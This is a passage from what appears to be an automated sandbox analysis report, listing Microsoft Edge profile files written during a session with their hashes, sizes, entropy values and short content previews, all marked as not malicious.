SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67615CD1-1EFC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4457657846133737
Encrypted:	false
SSDEEP:	3072:t5LVN+glacp23EWkKU8uQYvg1HF6q9dlVyk2wjuBPgdbT4cMyg1HF:bVNgcsa+uQYvaHZ9NyM2PEbUcMyaH
MD5:	A8BB62396745394C39F7AE09CF1D15CF
SHA1:	6EDD5923EA0F769FD40E3F8ADD264E75EE0549C3
SHA-256:	9EE44244F3EAFAFE8C105138F4ED25F2AD8B99F54F022F718013DA352A49FDF5
SHA-512:	86E03AE1F6113C9E44CC3A1F5AB1B712133D254CBC031C5B1C2514C00D94B69550ED971686C7C945FD9419B4FFA361EC7075644F24E64223144D3C27918C7FC6
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vyliyk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K.u.$r.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67615CE1-55C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04812892784837653
Encrypted:	false
SSDEEP:	384:4i0ctlVVaRytlVQ1Ch6yQgEaQ408T2RGOD:tTtlVcRY4flg1QNRGO
MD5:	2991AB9EA1B5CCB00A40BAE82F8B48E5
SHA1:	D3D84DFBF0ECEF2F99E8156D390DCFD62AF865F3
SHA-256:	EB5A754B47BFB500DDFCCC7A99B2E18CDC514A56AA8B8484EEC09BA26A62EBE3
SHA-512:	B69F8EBB17FD60779489DBCB8A83A8702F5810E8F958204918097126DF537390BCC4959D04AE9A58F606131B1B6560DDD2280CDBE2BC7AB3851BAD4910F75FF7
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vyliyk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..Uu.$r.>.........."....."...24.."."rOSvWitZdf3+bK7bAflhxOole/3WFhG6NAtpl/FhbPc=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.166603464640916
Encrypted:	false
SSDEEP:	3:FiWWltlcUf2TTWOHzKMkjA5FlYBVP/Sh/JzvbYuDRBOc7cEJH1l:o1cUfMJm5jYlYBVsJDbYuDRBOyc
MD5:	BEAB7E57297FA53EBC12A014865FE84C
SHA1:	8AE5F05D332A4FAC275EB4699B77AA38E22C3F85
SHA-256:	38AE8FD74714D0A05C69E2E6129A815532C8EDB8699B1556EE08CBD4940A9AF1
SHA-512:	4908C95B69AB94C987B5029918B7EF65245945DE1E6ED7D5521F4F34166F6F0CFAB13B202767D700D5958E003098CCE34164E313A9A8E9FD9AFBFBE73DD08489
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."rOSvWitZdf3+bK7bAflhxOole/3WFhG6NAtpl/FhbPc="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\16ae0cb2-61ff-4133-8479-d03b963cd8a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13170
Entropy (8bit):	5.263865667474436
Encrypted:	false
SSDEEP:	192:staJ99QTryDioo2batSuyemFs3/aFvrEng7hktd3e82bV+FiAgOBU4PtYJ:staPGoMSupmFs3/CDe2bGi5OCT
MD5:	9A297797C8A2D5628039F768A3F7C483
SHA1:	9044F53D800311AB8D1043717D9E96E341B618C3
SHA-256:	31B616C951460E6D910A04B970450CF11647745CB555694EAEDCB94E714E715B
SHA-512:	9F533ADD7890D4E20F107FEA26285BF327742EB40B3A6322CCAF784FC6EAE1BCDE3FA885105A7A364A8C3FA3E90D14F0D8D49A2486B5DCC5FA1456F27CA4FC88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27eb5b32-09c1-4b50-ac69-d1308d91ca9e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5616007815357476
Encrypted:	false
SSDEEP:	768:qSOHhOWBF7pLGLhSMW5wlBf4ZT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPdf7MI7gw:qvBOiTchSMWalBf6Tu1jagf7ZByTmjpP
MD5:	EB62C33CC5ED2FBA5861B9416BDC07EA
SHA1:	303C05C645CFC8C5EC2B4888BAE34DB998511AF2
SHA-256:	567CA4AE031562E80192058546BBD3F58C2C6E8E20DD000754778557FBD45465
SHA-512:	35A965F77D0C7C20A6DC567287E9439AA7052A9B9288C9EF85B0A60F77417A817C5A2D0A22B2BC536C61CFF1E741168DB47C8A636A011796828A3B77DB74C6AD
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907603256849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907603256849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7465c017-f730-4d12-815a-eeeb1348d6af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13335
Entropy (8bit):	5.261581085110421
Encrypted:	false
SSDEEP:	192:staJ99QTryDioo2batSuyemFs3/aFvrEng7hktd3e82bV+FiAfZOB34PtYJ:staPGoMSupmFs3/CDe2bGi8OB3T
MD5:	8BEB0FE2608966206F193F443D6DDCEC
SHA1:	65B04FE7B214A51174728B2C78D43DEB1FF4B8E1
SHA-256:	EEDEF5FAF111E9D7C5022B4A672E8C5F777CE76EBBF0F425C190958261949772
SHA-512:	439AA796BC572F1E532D81A41F1CE323BFE4BA2C850FA64B600159A9D62679F8F876D92A92F3E5AC9DE60A1A0E24AC0C3CC20B1473FE2F022DB812A874662236
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8fffb94c-869a-48e9-836e-56a3a1a4e2a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13335
Entropy (8bit):	5.261712193794088
Encrypted:	false
SSDEEP:	192:staJ99QTryDioo2batSuyemFs3/aFvrEng7hktd3e82bV+FiAgOB34PtYJ:staPGoMSupmFs3/CDe2bGi5OB3T
MD5:	743AC5686D9E08D66A31B66C2E67DAFA
SHA1:	B8632C52716AE73A84E54F08F5D5312187E82408
SHA-256:	552AEF21F62723BF906E4FF8760864F97B1F995DE38A280766411F5B368CDB95
SHA-512:	2A9D580D59B65145E4FF5AA2B0E1A11774154CFC574487226B07F17DF5DDF0CFA74AD41B7D58EFEFD012AC6248B925EBBA41A177D7B80AE714AE852E021815F2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9ada7e6b-73f3-49e7-a31a-7cb2c02a4d63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9378
Entropy (8bit):	5.088982193783439
Encrypted:	false
SSDEEP:	192:st2Seks3/aFvrEmktd3e88bV+FiAvU4PtYJ:st2Jks3/CDpbGiXT
MD5:	89E9D0F9BB7FA33FB2BCF2210E0A5BF1
SHA1:	7C31CE9343115A4E472AAC928ACC12766412318A
SHA-256:	D2B6FCA9D162B628149AFF262BA02E350AF58DEB20A16C480FFA67423313E783
SHA-512:	B3C4899AF4B73BBC52CDFA582AC9D6BE5CB5405700340D9A009C0119A5433A2750D2693BF2DAC5A4D9766CA2EA948F01EE77FF7DC64E4FF0C60F9F7417B295CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"collections":{"prism_collections":{"enabled":0,"policy":{"cached":2}},"rss_dev_feed":{"policy":{"cached":false}}},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.270230025074603
Encrypted:	false
SSDEEP:	6:7pXiB1N723oH+Tcwtp3hBtB2KLlppT+q2PN723oH+Tcwtp3hBWsIFUv:7EaYebp3dFLTJ+vVaYebp3eFUv
MD5:	A7F4C1F8D55A989056B5C2F8F74AC525
SHA1:	A78DACA009DDF0E14B9F1FC0C21B3265AEF645BC
SHA-256:	0431C13A137821F1A31C3C12E39BB06689EC2B4DEB625FD96401C2C65C7779A7
SHA-512:	E2877C3B8A48AF93A855D92B6CDA8973B9A5B47A8614F3D39C1AA03421683526A1867DB207B6F7ED53ACCEF83640137199E6D8FD9701150B4FBE82283F4C1086
Malicious:	false
Preview:	2024/12/17-06:13:29.514 1fdc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/17-06:13:29.584 1fdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222876760780322
Encrypted:	false
SSDEEP:	24576:IbPMZpVmfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVmfx2mjF
MD5:	AAC83B276A72BA415836A9F0AEBB0E6A
SHA1:	ADACFFDE8FD62CC2F115378CEAB04CEC3093BCC9
SHA-256:	F4D7A3B257E51F586D1644AB4CDC108BAAD4B35DBE60EC253A2D32E40BD748D9
SHA-512:	4AA90C054F4E874E98DE2962398AF48772297D879C75884FDDF3A943713DBBA7CA8C0DB86BE162BAAE734C0EDE6F27489E59DC2573E49FE24A4AB29E1324DD9F
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.103237546532
Encrypted:	false
SSDEEP:	6:7pmQ+q2PN723oH+Tcwt9Eh1tIFUt8OpmhZmw+OpmFVkwON723oH+Tcwt9Eh15LJ:7AvVaYeb9Eh16FUt8Og/+OE5OaYeb9Er
MD5:	9CFD084C48CBDA756FF42F599A1F552B
SHA1:	5C566775822505099714EF4FB200562D46A7AB92
SHA-256:	6FE77CFA7D6408CA385BE2E41D0989CA9BC5501B1776AF0F17E32599BD6F42EF
SHA-512:	7DB641E9A170FF27712051373691A1263D34011551B507A232E4FD2B536FE83CC3414F6DFAD893E9315C7627C088C54AD4A58220579F2C7F3A52C0FC1C6DD93C
Malicious:	false
Preview:	2024/12/17-06:13:29.007 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/17-06:13:29.008 2208 Recovering log #3.2024/12/17-06:13:29.022 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.103237546532
Encrypted:	false
SSDEEP:	6:7pmQ+q2PN723oH+Tcwt9Eh1tIFUt8OpmhZmw+OpmFVkwON723oH+Tcwt9Eh15LJ:7AvVaYeb9Eh16FUt8Og/+OE5OaYeb9Er
MD5:	9CFD084C48CBDA756FF42F599A1F552B
SHA1:	5C566775822505099714EF4FB200562D46A7AB92
SHA-256:	6FE77CFA7D6408CA385BE2E41D0989CA9BC5501B1776AF0F17E32599BD6F42EF
SHA-512:	7DB641E9A170FF27712051373691A1263D34011551B507A232E4FD2B536FE83CC3414F6DFAD893E9315C7627C088C54AD4A58220579F2C7F3A52C0FC1C6DD93C
Malicious:	false
Preview:	2024/12/17-06:13:29.007 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/17-06:13:29.008 2208 Recovering log #3.2024/12/17-06:13:29.022 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Collections\collectionsSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 34, database pages 18, cookie 0x19, schema 4, UTF-8, version-valid-for 34
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.4947385728088827
Encrypted:	false
SSDEEP:	96:xR94jweGq2L4H7pgNPdQyoDbel9myJrDVb4:f94ZBS4FgNPdPl9myRDVb4
MD5:	29C9AF42D59BA452C914D337F83778D8
SHA1:	0D4075E73B0189BD28D6968499DCFDE5975116CB
SHA-256:	DFDAE22D17235546DAF4200A5920C46B10E0885D9A0BE747D3DE14F432817613
